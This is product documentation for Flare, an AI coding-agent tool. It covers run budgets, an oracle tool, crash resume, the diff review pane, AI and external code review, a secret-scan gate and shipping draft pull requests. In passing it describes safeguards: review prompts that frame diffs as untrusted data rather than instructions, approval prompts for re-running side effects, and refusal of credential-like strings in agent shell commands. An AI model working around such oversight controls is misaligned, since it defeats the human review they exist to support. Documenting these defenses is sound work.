**Configuration** — All three are hidden settings, set by hand in `~/.flare/settings.json`. `budget.maxRepeatedCalls` is the stuck-run guard (default `25`; `0`/`off` disables the guard, and a garbage value falls back to the default rather than dropping it). `budget.stallReplan` (one re-plan before the guard fires) is **on** by default — it only ever costs a model call on a run that was about to be killed anyway — and `0`/`off`/`false`/`no` is the operator kill switch. `budget.stallReplanModel` picks which model does the re-planning (allow-listed; you generally want a _stronger_ model than the one that just looped); unset or invalid falls back to the base model, which is still a useful clean-slate reconsideration.

**Progress critic** — A second, opt-in stop reads the run's own events for friction rather than exact repeats: the same call re-issued more than twice, several different tools failing, many failed calls, and steps running well over the median each add points. With the hidden `budget.criticThreshold` set (unset is off), the first time a run's score reaches it the agent gets a `[progress check]` message telling it to change approach or hand back what it has; if the score is still there at a later step, the run stops with `Progress critic stopped this run: friction N ≥ T (…)`.

### Ask a stronger model — the `oracle` tool

**What it does** — Gives the agent somewhere to go when it is stuck or genuinely uncertain, instead of thrashing until the stuck-run guard ends it. The `oracle` tool consults a stronger model with a **fresh window** — no tools, no history, just the question the agent chose to ask — and returns its answer as an ordinary tool result. Where stall recovery is the involuntary rescue that fires on a trip, this is the voluntary one the agent can reach for first.

**Where to find it** — Off by default, under **Settings → Model**, among the settings marked advanced. Tick **Offer the oracle tool** and it joins every run's tool list; **Oracle model** picks which model answers (allow-listed against the offered catalog — an unknown id falls back to the base model rather than failing the call).

**How it works** — It is read-only: the oracle can neither touch the workspace nor call tools of its own, so a second opinion cannot become a second editor working behind the review pane's back. Its cost is bounded by the same machinery as everything else — the per-run tool-call cap, the stuck guard, and **Limits → Stop a run at**. Off by default on purpose: a new default-on tool changes every run's tool surface and every run's cost, and a run that never gets stuck would pay for a capability it never needed.

One thing to know before turning it on: `oracle` is in the `command` category, so it runs in `auto` and is refused in `read-only`.

### Reload re-hydration of pending approvals

**What it does** — A page reload (or closing and reopening the tab) mid-run does not strand the agent. If a run is parked on an approval or question, the modal reappears on the next load so you can still unblock it — without this, the server-side run would wait forever on a prompt no UI is showing.

**Where to find it** — Automatic on any project page load; there is nothing to click. The parked session is also re-attached read-only in the Workbench so you can see what led up to the question.

**How it works** — Runs are fire-and-forget on the server (the run outlives the browser), and pending HITL state is exposed by the API, so on mount the GUI fetches any pending approvals and questions, re-opens the modal for the parked session, and replays that session's log for context. Because the modal state is a projection over `approval.requested`/`approval.resolved` events, a prompt resolved from anywhere (another tab, the SDK, the MCP surface) clears live everywhere; already-resolved prompts net out to nothing on replay. If nothing is pending, a reload is a no-op.

### Resuming a run a restart killed

**What it does** — A server restart does not throw away the work a run was in the middle of. When a run dies because the process went away, it can be **picked up where it stopped** rather than retyping the task and paying for the investigation again. The listing names the task, how many steps it got through, and — when it died parked on you — the approval or question it was waiting on.

This is a routine event on this repo rather than an exotic one: `pnpm dev` restarts the API on any source edit, so a human editing files while a card runs kills the agent (which is why `pnpm dev:stable` exists).

**Where to find it** — The API, not the Workbench (which is read-only): `GET /projects/:id/sessions/:sessionId/interrupted` lists a session's recoverable runs and `POST …/interrupted/:runId/resume` continues one (SDK: `getInterruptedRuns`, `resumeInterruptedRun`). A run stays resumable until it is resumed. Board cards recover on their own — see below.

**How it works** — The conversation is rebuilt from the event log, and so is _how_ the run was launched, so it can be continued faithfully: `run.started` carries an optional launch spec (model, effort, output style, output-contract schema, attachment count), and `findInterruptedRuns` is a pure projection that reads the log back: a run counts as recoverable only if its one terminal event is the startup reconciler's synthetic "interrupted by restart" tombstone — never a run that ended on its own, never a fork's truncation, and never one still in flight.

Resuming replays the rebuilt history and adds a short continuation instruction rather than restating the original task (which would invite a start-over); it also warns the agent that the last action may have half-landed, because a crash lands mid-step and the working tree can be ahead of what the transcript shows. The task itself is read from the log, never from the browser, so the route cannot be used to smuggle a new instruction into a session.

The recorded spec is re-derived through the same validators the original run passed, and the two directions are deliberately different: anything that **narrowed** the run fails closed (a run an older build recorded under a role — which could restrict its tools — refuses the resume outright rather than silently widening the toolset), while anything that merely **shaped** it degrades out loud (a retired model resumes on the default and says so; image attachments can never be re-sent, because image bytes are deliberately never written to the log, and the recorded count is what lets the UI tell you instead of dropping them quietly).

**A side effect that may already have happened asks you first.** A process killed between a tool's call and its result leaves no record of the outcome, and the warning above — "re-read any file you were editing" — is good advice for an edit and useless for `npx prisma migrate deploy`, `git push` or `npm publish`, whose effect is not in the workspace to re-check. So the resume arms the exact calls whose result was never recorded, and if the agent re-issues one, the permission engine raises it from _allow_ to **ask**, once, with a note naming the command and saying plainly that approving runs it again. A `tool.called` with no matching `tool.result` is what marks such a call.

It is a floor, not a block: it can only raise a decision, never admit a call a rule already denied, and most interrupted calls did not in fact complete — refusing them outright would strand every resumed run on work it legitimately has to redo. Read-category tools are exempt, because a read that half-ran can simply be re-run. An unclassified tool (an MCP server's, a plugin's) counts as side-effecting: that tier means nobody said what it does, and the question being asked is whether re-running it could hurt. You are asked once per call — a second identical call later in the session is ordinary work, since by then you have answered.

Lineage lives in the log too — the resumed run records which run it continues — so a second tab, a double click, or a reload cannot fork one crash into two live loops; the second attempt gets a clean refusal.

**Budgets carry across the resume.** A per-run cap (**Limits → Stop a run at**, the hidden `budget.maxToolCalls`) is built fresh for every run, so a resumed run would otherwise silently get a whole new ceiling — crash, resume, crash, resume could spend an arbitrary multiple of what you set. The resume folds what its lineage already spent out of the log's own usage events and seeds the trackers with it. If the lineage has already blown the cap, the resumed run halts at its first step boundary and names the dollar cause, which is the honest outcome rather than granting a fresh allowance by omission. Only the chain being continued counts — an unrelated earlier run in the same session never blocks a later resume.

**Cards re-attach to their own worktree.** The agent registry is in-memory, so a restart wipes every agent while its git worktree and its session's events both survive. A fresh worktree and a conversation from zero would abandon edits still sitting on disk and re-pay for investigation the log already holds, so Start re-attaches to the card's recorded worktree and session when they survived, and the agent's first turn rebuilds its history instead of restarting the task. This is attempted speculatively and is git-read-only: it looks the worktree up, never creates one, so if it was reaped or is held by a live agent, the start falls through to the normal fresh dispatch with nothing mutated — and a genuine retry of a still-running card still tears the old agent down and starts clean.

**Parked approvals.** The same startup sweep also closes any approval or question the dead process was holding. Left open, replaying the session would re-open a live-looking modal whose answer resolves a promise that died with the process. They are closed with a recorded reason, which is also what lets the trace tell "denied by a person" from "nobody was left to ask". A resumed run re-enters the safety guard and asks again, so nothing is ever silently granted by the cleanup.


## Code Review, Diffs & Shipping

Flare treats every agent edit as a proposal: nothing the agent writes is "accepted" until you review it. The Workbench collects all pending edits into a reviewable, file-by-file diff with machine verdicts (verify, AI review, secret scan) and explicit Apply/Revert controls — and backlog cards add line-anchored review comments, a human-gated merge plus a confirmed "Ship as PR" that pushes a branch and opens a draft GitHub pull request. Because sessions are event-sourced, review state (verify results, findings, shipped-PR links) is recorded as durable events and survives reloads and restarts.

### The change review pane

**What it does** — Shows every file the agent created, modified, deleted, or **renamed** as a unified diff, organized per file, with **syntax highlighting** on the code. A summary line above the list gives the totals at a glance — "N files changed · +X −Y" with a proportional add/removed bar — and a header lists each changed file with a status badge (`created` / `modified` / `deleted` / `renamed`), its `+N`/`-N` line stats, and its own proportional bar; click a file to jump to its section. A renamed file states where it moved from (`old.ts → new.ts`) rather than appearing as an unexplained `modified +0/−0` entry. A file reads `renamed` when git's diff pairs the two paths — a `git mv`, or a rename in a card's committed work; a plain `mv` in the project folder, whose new path git sees as untracked, shows as one `deleted` and one `created` file. Each file section can be collapsed, marked with a "Viewed" checkbox (which auto-collapses it), and the header tracks "N/M viewed" progress; a file whose diff changes after you marked it viewed is unmarked and expanded again. A floating "Copy diff" button copies a file's diff (or the whole diff in single-blob views).

**Where to find it** — Workbench (`/p/p_2449f1b1/workbench`), in the "Workspace changes" pane that appears below the session once there are pending edits; the pane header shows the file count (e.g. "3 files"). The same file-review surface renders in a backlog card's inspector under its "Changes" tab, read-only while the agent is live. Keyboard: `n` / `p` step to the next/previous file when more than one file changed. When the Workbench shows a card's session, the pane is not shown: the project folder's diff is not that card's work, and the card's changes are in its inspector's "Changes" tab.

**How it works** — The server exposes the change set and diff (`GET /projects/:id/changes` and `/changes/diff`) straight from the workspace's change tracker; the pane is a pure render over that diff, so agent views and finished cards show byte-identical read-only diffs. Highlighting keeps the `+`/`-` marker out of the tokenizer and off the code colours, so the add/remove signal stays in the row tint and the marker — and a language Flare doesn't recognize renders exactly as it did before.

### Reverting a single hunk

**What it does** — Keeps part of a file's changes and puts the rest back. Each `@@` header carries a **Revert hunk** control; the first click re-labels it to "Confirm: revert this hunk", the second performs it, and every other hunk in the file stays applied.

**Where to find it** — The "Workspace changes" pane, on any file the surface can write to (not a read-only agent view or a finished card).

**How it works** — Apply only clears the review _baseline_ — the agent's edits are already on disk — so rejecting a hunk is a real write. Flare reads the file as it stands, puts that one region back, and writes it through the same run-guarded, workspace-confined route the hand-edit uses. It **refuses rather than guesses**: if the file no longer matches the diff (the agent or you touched it since), nothing is written and the pane says so — and if any one hunk of a multi-hunk revert fails to match, the whole operation is refused, because a partial revert would leave the file in a state nobody chose.

### Explaining a changeset

**What it does** — **Explain changes** groups the diff's hunks into a few logical groups — the behaviour change itself, the tests covering it, mechanical renames — each with a one-line reason, shown above the file list and labelled on the hunk headers they cover. It answers "what am I looking at?" before you read file-order hunks.

**Where to find it** — The "Workspace changes" pane header, next to Revert and Apply, and the **Changes** tab of a card (above the file list, on a card that has a diff). It runs **on demand only**: it costs a model call on the Claude of whoever clicks, so nothing happens until you ask, and the narrative is cleared as soon as the diff changes so it can never describe something stale. On a card the request names the diff you are looking at, and the server refuses it with a conflict if the card's changes have moved on, so an explanation is never shown against a diff it was not made for. Once a diff is explained, a **Narrative order** switch lists the files, and shows their sections, in the order the explanation reads them (files no group names come last); the diff's own order stays the default.

**How it works** — One bounded, read-only, tool-less model call over the same diff the pane renders, with each hunk labelled by a stable id and the diff framed strictly as data. Every id the model returns is **validated against the hunks that actually exist** and unknown ones are dropped, so a narrative can omit hunks but can never point you at one that isn't in the changeset. It is display-only — nothing about what will be applied changes.

### Inline diff comments & request changes

**What it does** — Turns a card's diff into a GitHub-style review surface: click any diff line to open a comment box, accumulate comments across all files, then send them all at once with "Request changes". The bundled comments become the card's next implementation round, so the agent fixes exactly what you flagged.

**Where to find it** — A backlog card's inspector "Changes" tab while the card is in review; "Request changes" sends the card back to the implementing stage. The Workbench's "Workspace changes" pane has no comments — it is read-only toward the agent.

**How to use it** —

1. Click a line in the diff. A comment box opens with the placeholder "Leave a review comment…".
2. Type the comment and click "Save" (use "Edit" / "Remove" on a saved comment to revise it).
3. Repeat on any line in any file — the footer counts "N pending comments".
4. Click "Request changes" to send the whole bundle in one round.

**How it works** — Comments are client-local until sent; "Request changes" formats them into a deterministic follow-up message ("Please address these review comments:" plus one `- file:line — text` bullet each, sorted by file and line) that the card's revision round works from — so the round shows in the card's trace like any other run. A comment on a deleted line is annotated "(deleted line, pre-edit)" so the agent finds the content rather than a stale line number. Comments survive switching the inspector's tabs; closing it with unsent comments warns and stays open, and a second Escape or ✕ discards them.

### Hand-editing a diff before Apply

**What it does** — Lets you fix a proposed change yourself — a typo, a wording tweak, a small correction — without another agent round. Each changed file offers an "Edit" button that opens the file's current content in an editor; saving writes it straight to the workspace and the diff refreshes to include your edit.

**Where to find it** — The "Edit" button on each file's header row in the "Workspace changes" pane (not in a read-only agent view; not offered for deleted files).

**How to use it** —

1. Click "Edit" on a file section — the diff is replaced by an editable text area pre-filled with the file's current content.
2. Make your changes and click "Save" (or "Cancel").
3. The diff and change list refetch, now reflecting your hand-edit.

**How it works** — The edit is written through the same path-confined workspace layer the agent uses (`GET`/`POST /projects/:id/changes/file`); the change tracker regenerates its diff by re-reading files from disk, so the edit is picked up with no extra bookkeeping. Writes are refused while a run is in flight, and ignored/sensitive paths (e.g. `.env`, `.git`) are refused outright. A save is also refused when the file changed after the editor opened (a run landed in between): saving the old draft would silently undo that run, so the pane asks you to reload first.

### Apply & Revert

**What it does** — The two exits from review. "Apply" accepts the current state as the new baseline (the diff clears; the files stay as the agent left them). "Revert" restores every touched file to its pre-run state and discards the proposal.

**Where to find it** — The "Apply" and "Revert" buttons in the "Workspace changes" pane header.

**How to use it** —

1. Review the diff (and optionally run verify / AI review / the secret scan below).
2. Click "Apply" to accept — or click "Revert", which arms into "Confirm: revert N files"; click again to confirm.

**How it works** — `POST /projects/:id/changes/apply` and `/changes/revert`; both return 409 while a run is in flight, because clearing or rewriting the tree under a live loop would corrupt the review. Revert restores files from the tracker's recorded baseline and only ever touches the working tree — it never rewrites git history.

### Out-of-band edit capture

**What it does** — In a git workspace, the review diff captures _everything_ that changed — not just files the agent's edit tools wrote. Edits made through shell commands (a formatter, codegen, `sed`, `mv`, `git apply`) appear in the review, verify, revert, and ship flows exactly like tool edits.

**How it works** — When the workspace is a git repository, Flare backs the review with a git-based change tracker: at run start it captures a baseline snapshot of the working tree (including untracked files), then computes changes and diffs against that baseline — so any on-disk change is attributed and revertable. Non-git workspaces fall back to a snapshot tracker that only sees files the edit tools touched. The change list counts a rename as a delete of the old path plus a create of the new one; the diff pairs them, and the pane shows `renamed`, when git sees both paths (a `git mv`), while a plain `mv` reads as a delete and a create there too. Binary files are tracked without inline diffs.

**Configuration** — Automatic: Flare detects whether the project folder is a git repository and picks the tracker accordingly.

### Edits that tolerate whitespace and typography

**What it does** — `apply_edits` finds each SEARCH block exactly first. When that misses, it tries looser matches in turn: whole lines ignoring trailing whitespace (which also covers a CRLF file searched with LF lines), whole lines ignoring all whitespace, and then curly quotes, dashes and non-breaking spaces read as their plain forms. A near miss lands instead of costing the model a re-read and another turn.

**How it works** — The first match type that finds the block decides. If it finds the block in more than one place, the edit is refused as ambiguous rather than handed to a looser match. A whitespace-insensitive match re-indents the replacement by what the file adds to the search's indentation, and in a CRLF file the replacement is written with CRLF. The tool result lists every edit that matched loosely under `matchedLoosely`, with how it matched, so the trace shows it. The approval preview uses the same matcher, so the diff you approve is the edit that lands.

### Formatted edits and the syntax gate

**What it does** — Pipes every edit the agent makes through your project's formatter _before_ it is written. Two things fall out of that: the agent's output matches your house style instead of the model's, and — because every real formatter is also a parser — an edit that does not compile is **refused with the parser's own error**, so the broken state never reaches disk for the verify loop to trip over later.

**Where to find it** — **Toolchain → Formatter command**, on the global Settings
page or a project's Overrides pane. Off until set, but Flare offers a command it
found in your repo — accept it and the gate is on. The command must read the file
on stdin and write the formatted file to stdout, with `{file}` standing in for
the path:

```bash
Toolchain → Formatter command="npx prettier --stdin-filepath {file}"   # JS/TS/CSS/JSON/MD
Toolchain → Formatter command="black -q -"                             # Python
Toolchain → Formatter command="gofmt"                                  # Go
```

**Toolchain → Format only these extensions** (advanced) limits which files are
formatted — empty means every file the agent edits, and accepting a detected
formatter fills it in. The per-run timeout (15s) is not on the page; set it in
`~/.flare/settings.json` if you need to.

**How it works** — The formatter is consulted with the content an edit _would_ write, before the write and before the change tracker snapshots the file. A clean exit means its stdout is what gets written; a non-zero exit is a verdict about your code, so the edit is refused and the parser's message goes back to the model as the tool error for it to fix and retry. A refused edit leaves nothing behind — no partial file, and nothing in the review pane showing a file as touched with no change to show for it.

Stdin rather than in-place is what makes that possible: an in-place formatter would have to write first and be rolled back. If you do configure an in-place command by mistake (`prettier --write {file}`), its stdout is a short status line rather than a file — that is detected and ignored rather than written over your source.

**It fails open in every other direction.** A formatter that is not installed, fails to spawn, times out, or returns something implausible lets the edit through _unformatted_, with a warning on the server log. This is a quality aid, not a security control — refusing every edit because a formatter is missing would brick the agent over a cosmetic feature. Only a real parse failure refuses.

Edits made out of band by `run_command` (a codegen script, `sed`) are not routed through this — they are still captured for review by the git-backed change tracker, just not formatted. Nor are your own hand-edits to a proposed diff before Apply: silently reformatting or refusing what a human typed would be the wrong call.

One caveat worth knowing if you use the backlog board: a fleet agent works in a **bare git worktree**, which has no `node_modules`. A formatter invoked through your project's dependencies (`npx prettier`) therefore cannot run there and the fail-open path applies — those edits land unformatted, with a warning. A globally installed formatter, or one that needs no project install (`gofmt`, a system `black`), works in a worktree as well as in the main checkout. The other way out is the [warm worktree pool](#warm-worktree-pool), which hands cards worktrees that already have their dependencies installed — a project-dependency formatter runs in those.

**Configuration** — **Toolchain → Formatter command** (detected from your repo, and overridable per project).

### Verify loop (red/green)

**What it does** — Runs your project's verifier (typecheck, lint, tests) and shows the result as a red/green status chip in the review pane: "Verify passing", "N problems", "N warnings", "Verify failing" (a failure with no diagnostics Flare could read), "Not run", or "No verifier". On a failure, a compact diagnostics list (severity, `file:line`, message — up to 8, then "+N more") appears under the chip.

**Where to find it** — The verify bar at the top of the "Workspace changes" pane (not in a read-only agent view). "Run verify" runs it once.

**How to use it** —

1. Click "Run verify" — the chip flips to "Verifying…" and then reports red or green.

**How it works** — `POST /projects/:id/sessions/:id/verify` runs the configured command in the workspace, parses structured diagnostics, and records the outcome as a durable `verify.completed` event — the chip is a projection over the session's events, so it survives reloads. API and SDK clients can also ask for a fix loop (`fix: true` on the same route, `verifySession` in the SDK): the session resumes with the formatted diagnostics ("Fix the underlying code… do not weaken, delete, or skip any checks") and re-verifies, up to a bounded number of rounds (default 3, hard cap 5). While the loop runs, its verifier steps included, the session counts as running: a new run on it is refused with 409, and Stop, or revoking the connected app that owns the session, ends the loop. Every fix iteration is a normal run: it streams live, shows in the trace, and every tool call still goes through the deny>ask>allow safety pipeline. The agent also gets a `verify` tool so it can self-check mid-run, and backlog cards run the same verifier in their worktree as a pre-merge gate — a failure blocks "Accept Merge to main" until you fix it or explicitly click "Merge anyway", and the verdict is recorded in the card's History tab.

**Configuration** — **Toolchain → Verify command** (e.g. `tsc --noEmit`), offered for you from the repo's own scripts. **Toolchain → Verify timeout** (2 minutes by default) bounds every verify run — the agent's own and the pre-merge gate; raise it once the suite takes longer. The output parser is not on the page: Flare sniffs the output and reads `tsc` and ESLint diagnostics without being told. If detection ever gets it wrong, force one with the hidden, project-scoped `editing.verifyParser` (`auto`, `tsc`, `eslint` or `none`) in `~/.flare/settings.json`.

### The review diff says what it left out

**What it does** — A review diff can legitimately leave things out: a 250 MB build artefact the agent forgot to `.gitignore` must not be inlined, and an enormous change can outgrow what one `git` call will buffer. When that happens, the pane **says so**, as its own row in the file list — never by quietly showing you less than the whole change.

**Where to find it** — In the diff itself, in both review surfaces: a session's "Workspace changes" pane and a card's "Changes" tab. These notices can appear:

- **A file too big to inline** shows under its own name with `N bytes: omitted from the review diff`. The size is there because it usually identifies a build artefact somebody meant to gitignore.
- **Files past the total budget** show as `N more files: omitted from the review diff`. A count, not a vague note: it is what tells you whether you are looking at the whole change or a sample of it.
- **Files Approve will commit but the review cannot show** are named in a card's review: untracked files in build-output folders (`dist/`, `node_modules/`, … when not gitignored), files that could not be read, and nested repositories (committed as a link). Their contents stay out of the diff; their names never do, because `git add -A` commits them.
- **A half of the diff that could not be produced at all** shows as `the tracked half of this diff could not be produced: …`, naming the reason. The common ones are a stale `.git/index.lock` left by an editor, and a change larger than Flare buffers for one `git` call — the latter says so in words rather than passing on `ENOBUFS`.

**How it works** — Each notice is a `\`-prefixed meta line, which is git's own style for `\ No newline at end of file`: every diff parser treats it as non-content, so a notice renders to you without being counted as an added line in any diffstat. Each also carries a real `diff --git` header, which is what makes it a row the pane shows rather than a fragment the parser discards.

Both review surfaces share one set of size caps, one total budget and one formatter, so a file renders, or is announced as omitted, the same way on each, and neither inlines `node_modules` on a repo that has not gitignored it.

### A review Flare could not read is not a run that changed nothing

**What it does** — The "Workspace changes" pane, and with it the diff, the verify chip, the secret scan, Apply and Revert, appears only when there are pending edits — which is right for most runs and wrong for the case where Flare could not look. When the review cannot be read, the pane's slot says so instead of staying empty.

**Where to find it** — The Workbench, where the "Workspace changes" pane would be: _"Couldn't read this workspace's changes — this is not an empty review, Flare could not look."_ It keeps retrying, so it clears itself as soon as a refresh succeeds; a review that DID load is left alone, because a stale-but-real diff is more use than a blank pane.

**How it works** — Two causes, one message, because the reader's next move is the same either way. The request can fail outright; or it can SUCCEED and still not be believable — a change tracker that could not capture its baseline answers `200 []` by design, since the review surface must never block a run. `GET /changes/status` is the one that answers the second: `pending` / `ok` / `failed`, where `pending` is an agent that has not edited anything yet and is deliberately not a warning.

### AI code review

**What it does** — Has a model review the session's own uncommitted diff ("the AI reviews the AI's diff") and report structured findings — a **kind** (Bug, Security, Correctness, Missing test, Clarity) and a **tier** (Blocker, Warning, Nit) — each pinned inline in the diff at its line with a "🤖 AI review" tag, a summary, and an optional detail/suggested fix. Findings that don't land on a changed line are listed at the bottom ("N AI findings not on a changed line") so nothing is lost. Findings are for you to read and act on: nothing here sends them back to the agent.

**Where to find it** — The "AI review" bar in the "Workspace changes" pane (not in a read-only agent view): a chip reads "Not reviewed" / "No findings" / "N findings", next to "Review this run" (or "Re-review").

**How to use it** —

1. Click "Review this run". The chip shows "Reviewing…", then the finding count.
2. Read the inline finding cards in the diff, and the unpinned ones listed below it.

**How it works** — `POST /projects/:id/sessions/:id/review` makes one bounded, tool-less model call over the (size-capped) diff — the reviewer literally cannot edit anything, only emit findings, and the diff is framed as untrusted data to review, never instructions to follow. Findings are recorded as a durable `review.completed` event and rendered from a projection, so they survive reload. Findings are advisory: they never hard-block Apply — a human decides.

**Findings are triaged before you see them.** A review that cries wolf gets skimmed, which is the same dynamic as a flaky CI gate earning a `--no-verify` habit — so before a finding reaches you, Flare checks the parts of it that can be checked without asking another model. Every finding carries a **tier** alongside its kind: `Blocker` (fix before this ships), `Warning` (a real problem the change could land with, named) or `Nit` (worth knowing, never worth blocking on). Tier is a separate judgement from kind, because a security finding is not automatically a blocker and a clarity one is not automatically a nit. The tier is what carries the colour, since "do I need to read this?" is the question you ask first.

Three checks run on the way out, all deterministic and none of them a second model call:

- **The anchor has to be real.** The reviewer is told to pin every finding to a new-side line that appears in the diff; a finding whose line the diff does not actually contain loses its anchor and is listed as unpinned instead. A wrong inline anchor is worse than no anchor — it renders the finding in the gutter beside innocent code, you check those lines, find nothing, and conclude the reviewer is noise.
- **A finding about a file the change never touched is marked `Pre-existing`** and can never be a blocker. It may well be a real problem; it is not this change's problem, and a review that bills existing debt to a card is one nobody finishes reading.
- **Nits are budgeted.** Five of them. Forty clarity notes with two real bugs underneath is a list people stop reading, and a nit is by definition the tier that can be dropped without losing anything that had to be acted on.

What this does _not_ check is whether a finding is **true** — "this leaks a handle on the error path" is a claim about behaviour, and only reading the surrounding code or running it can settle that. A second model asked "was the first model right?" with no more information than the first had is a vote, not a verification.

**The reviewer also sees the callers the diff never touched.** A multi-file refactor is exactly the change that fails Verify, and a reviewer reading only the diff cannot tell “this rename is fine” from “this rename left four callers broken” — the evidence is in the files the diff _doesn't_ contain. So before the call, Flare resolves the blast radius of the changed files from the codemap's own reference graph (the same one behind `repo_map`'s “referenced by” edges, which already knows that a name in a comment is not a dependency) and prepends it as read-only context: each changed file followed by the untouched files that reference it.

It is framed explicitly as **not** under review, and it goes _before_ the diff — the diff is what findings must anchor to, and the last thing a model reads is what it attends to hardest. Without that framing the reviewer reports findings against files whose contents it cannot see, anchored to line numbers in no diff. The list is capped (12 files, strongest edges first) because a reviewer handed two hundred paths reads none of them and the list competes for the same context the diff needs. A diff whose files nothing references, or an engine with no workspace, sends exactly the prompt it always did; a scan that fails loses the context, never the review.

### A second opinion from your own reviewer

**What it does** — Runs a reviewer you configure — semgrep, ESLint, CodeQL, Trivy, Bandit, or anything your team already has — over the same diff, at the same time as the AI review, and puts its findings on the same pane. Each one is prefixed with the tool that made the claim (`[semgrep] Possible SQL injection`), because Flare's reviewer is accountable to this repo's standards and a third-party CLI is accountable to its own, and a reader deciding whether to act needs to know which they are looking at.

**Where to find it** — Nowhere new. Set **Toolchain → External review command** and its findings appear in the same "AI review" bar and the same inline cards.

**Configuration** — `review.command`, e.g. `semgrep --config auto --sarif`. It is project-scoped, so a repo can carry its own answer in `.flare/settings.json` — and a workspace you have not trusted never gets that file read at all, so a cloned repo cannot introduce a command. It runs when a review of a diff is asked for; it is not part of a card's merge gate, so Accept never waits on it. The command is killed after the hidden, project-scoped `review.commandTimeoutMs` (2 minutes).

**How it works** — The command runs in the workspace and must print **SARIF** on stdout, which is what the field already emits (`semgrep --sarif`, `eslint -f sarif`, CodeQL, Trivy, Bandit) — so the useful tools need no wrapper written for them. A minimal `{"findings":[{"file","line","severity","summary"}]}` is accepted too, for a tool that emits nothing standard and is easier to wrap than to replace. The command is run **verbatim**, with no substitution of changed paths into it: a file in a repo may be named anything at all, and interpolating one into a string handed to a shell is an injection surface. Scope the scan yourself if you want it narrower.

Four things are true of an external finding that are worth knowing before you wire one up:

- **It can never block.** A `error`-level SARIF result becomes a `Warning`, never a `Blocker`. A CLI configured once, versioned independently and upgraded without anyone re-reading its rules must not hold a veto over your board — it can say "this is serious", it cannot say "nothing ships".
- **It gets the same honesty pass Flare's own findings get.** A finding about a file your change never touched is marked `Pre-existing`; a line the diff does not show loses its anchor. A tool scanning a whole tree reports mostly on untouched files, and this is what keeps those from reading as things your change caused. The nit budget is counted separately per reviewer, so a chatty linter cannot crowd out Flare's findings and vice versa.
- **A non-zero exit is not a failure.** semgrep, ESLint and Trivy all exit non-zero precisely _because_ they found something. What Flare reads is the output.
- **When it doesn't work, it says so.** A command that is missing, misconfigured, printed prose, printed more than Flare can capture, or hung past its timeout produces a message naming the command, its exit code and its stderr — _alongside_ the AI findings, never instead of them. A misconfigured reviewer and a clean tree look identical otherwise, and only one of them is something to fix.

The child process gets a credential-scrubbed environment — the same one `run_command` and background terminals get. An external reviewer is third-party code by definition; the provider keys this process holds are nothing it needs.

**Scope, stated plainly** — this runs on the "Review this run" button in a session's own "Workspace changes" pane. The board's automatic pre-merge gate is a different feature (the rubric review, below) and does not call it; a card's diff is reviewed in its worktree, which is not where this command runs.

### Secret scan & the pre-ship gate

**What it does** — A deterministic scanner (curated regex rules — no model, no network) checks every line the agent _added_ for hardcoded credentials. In the review pane it works like AI review: a "Secret scan" bar with a chip ("Not scanned" / "No secrets found" / "N findings" in red) and a "Scan for secrets" button; findings pin inline with a "🔒 Secret scan" tag and a redacted summary — never the raw secret. A leaked credential needs human action — rotate it and move it to a secret store. The same scan also runs as a fail-closed gate on Ship as PR and on Accept Merge, over everything that would land (every commit since the base, every new file in full): findings — or a file that could not be read to scan — block it until resolved or explicitly overridden. A merge is gated too because the default branch's next push publishes it.

**Where to find it** — The "Secret scan" bar in the "Workspace changes" pane; the gate surfaces in a card inspector's "Changes" tab as "🔒 Ship blocked" or "🔒 Merge blocked — the secret scan found N potential hardcoded credentials", with the redacted findings and a two-step "Ship anyway (override secret gate)" / "Merge anyway (override secret gate)" → "Confirm: ship anyway with secrets" / "Confirm: merge anyway with secrets" override. An override is good only for the content the gate rejected; any change to what would land voids it.

**How it works** — The scanner walks only the diff's added lines, anchoring each finding to its new-side line, and results are recorded as durable `security.completed` events. An override is recorded too (flagged as overridden, and as unscanned when forced past an unreadable diff), so shipping past the gate is always auditable. On a card, each verdict — passed, refused or overridden, with the finding count and never the findings' text — is also written to the card's log and shown in its inspector's History tab ([where the board lives](#where-the-board-lives)). The same secret shapes are also refused _before_ execution when they appear in a shell command the agent tries to run.

### Ship as PR

**What it does** — Turns a reviewed backlog card into a draft GitHub pull request: commits the card's worktree edits onto its branch, pushes to `origin`, and opens a draft PR whose title and body are authored from the card's title, description, and plan plus a diffstat. The commit message carries a provenance trailer and the PR body a provenance section (the AIBOM record: model, mode, prompt/diff hashes, tools, verify/review/security status), and every outbound string is secret-masked. The PR link persists on the card ("Shipped as PR #N (draft) ↗") through the Done lane and across restarts.

**Where to find it** — Board (`/p/p_2449f1b1/board`) → click a card in review → the inspector's "Changes" tab → the "Ship as PR" button (or "Ship again as PR" once shipped).

**How to use it** —

1. Open the reviewed card and read its diff in the "Changes" tab (leave comments and "Request changes" if it isn't ready).
2. Click "Ship as PR", then confirm the armed "Confirm: push & open draft PR".
3. If the verify gate refuses (the configured verify command failed in the card's worktree), fix it — or use "Ship anyway (verify failed)" → "Confirm: open the PR with verify failing". If the secret gate blocks the ship, resolve the findings — or use the explicit, audited override. Each override covers only the content the gate rejected; any change to what would land voids it.
4. Follow the "Shipped as PR #N (draft) ↗" link to review and merge on GitHub.
5. Leave the card in review. Every five minutes Flare reads the state of each review card's pull request (`gh pr view`, read-only). Once GitHub has merged the head the card holds, the card moves to Done with GitHub's merge commit, and its worktree and local branch are removed. If the card holds newer commits than the merged head, the note says to Ship again for them. If the pull request was merged with commits the card does not hold, or was closed without merging, the card stays in review with a note saying so, and Flare changes nothing else. The closed note goes in front of any note the card already had, and reopening the pull request gives that note back. GitHub is read without holding the card, so Accept Merge or deleting the card is never refused while `gh` answers. A landing's own pull request (a GitHub-landing project) gets the closed note too; its merge is still settled from origin.

**How it works** — Shipping is an outward, hard-to-reverse action, so it is only ever reachable from this explicit, human-confirmed button — it is never a model tool call and never automatic, and it refuses (409) exactly what Accept Merge refuses: a run still in flight, a card with no finished work or already merged, review checks still grading, and a plan with a decision still marked `STATUS: UNRESOLVED`. It runs the same verify gate as a merge first — with remote CI not running, a pull request would otherwise go out with no check at all — and refuses a verify that could not run until **Ship anyway**, as a merge does. PRs are created via the `gh` CLI. **By default it uses your own GitHub auth and Flare stores no token at all** — the safest boundary for an outward, hard-to-reverse action. A hosted server pushes and opens the PR with its GitHub token instead (see [Landing on GitHub](#hosted-mode)). The result is recorded as a durable `pr.opened` event on the session plus fields on the card — a durable pointer, so the link outlives the agent and its worktree. PRs are drafts by default.

**Configuration** — Requires the project to have a git `origin` remote and the `gh` CLI installed and authenticated.

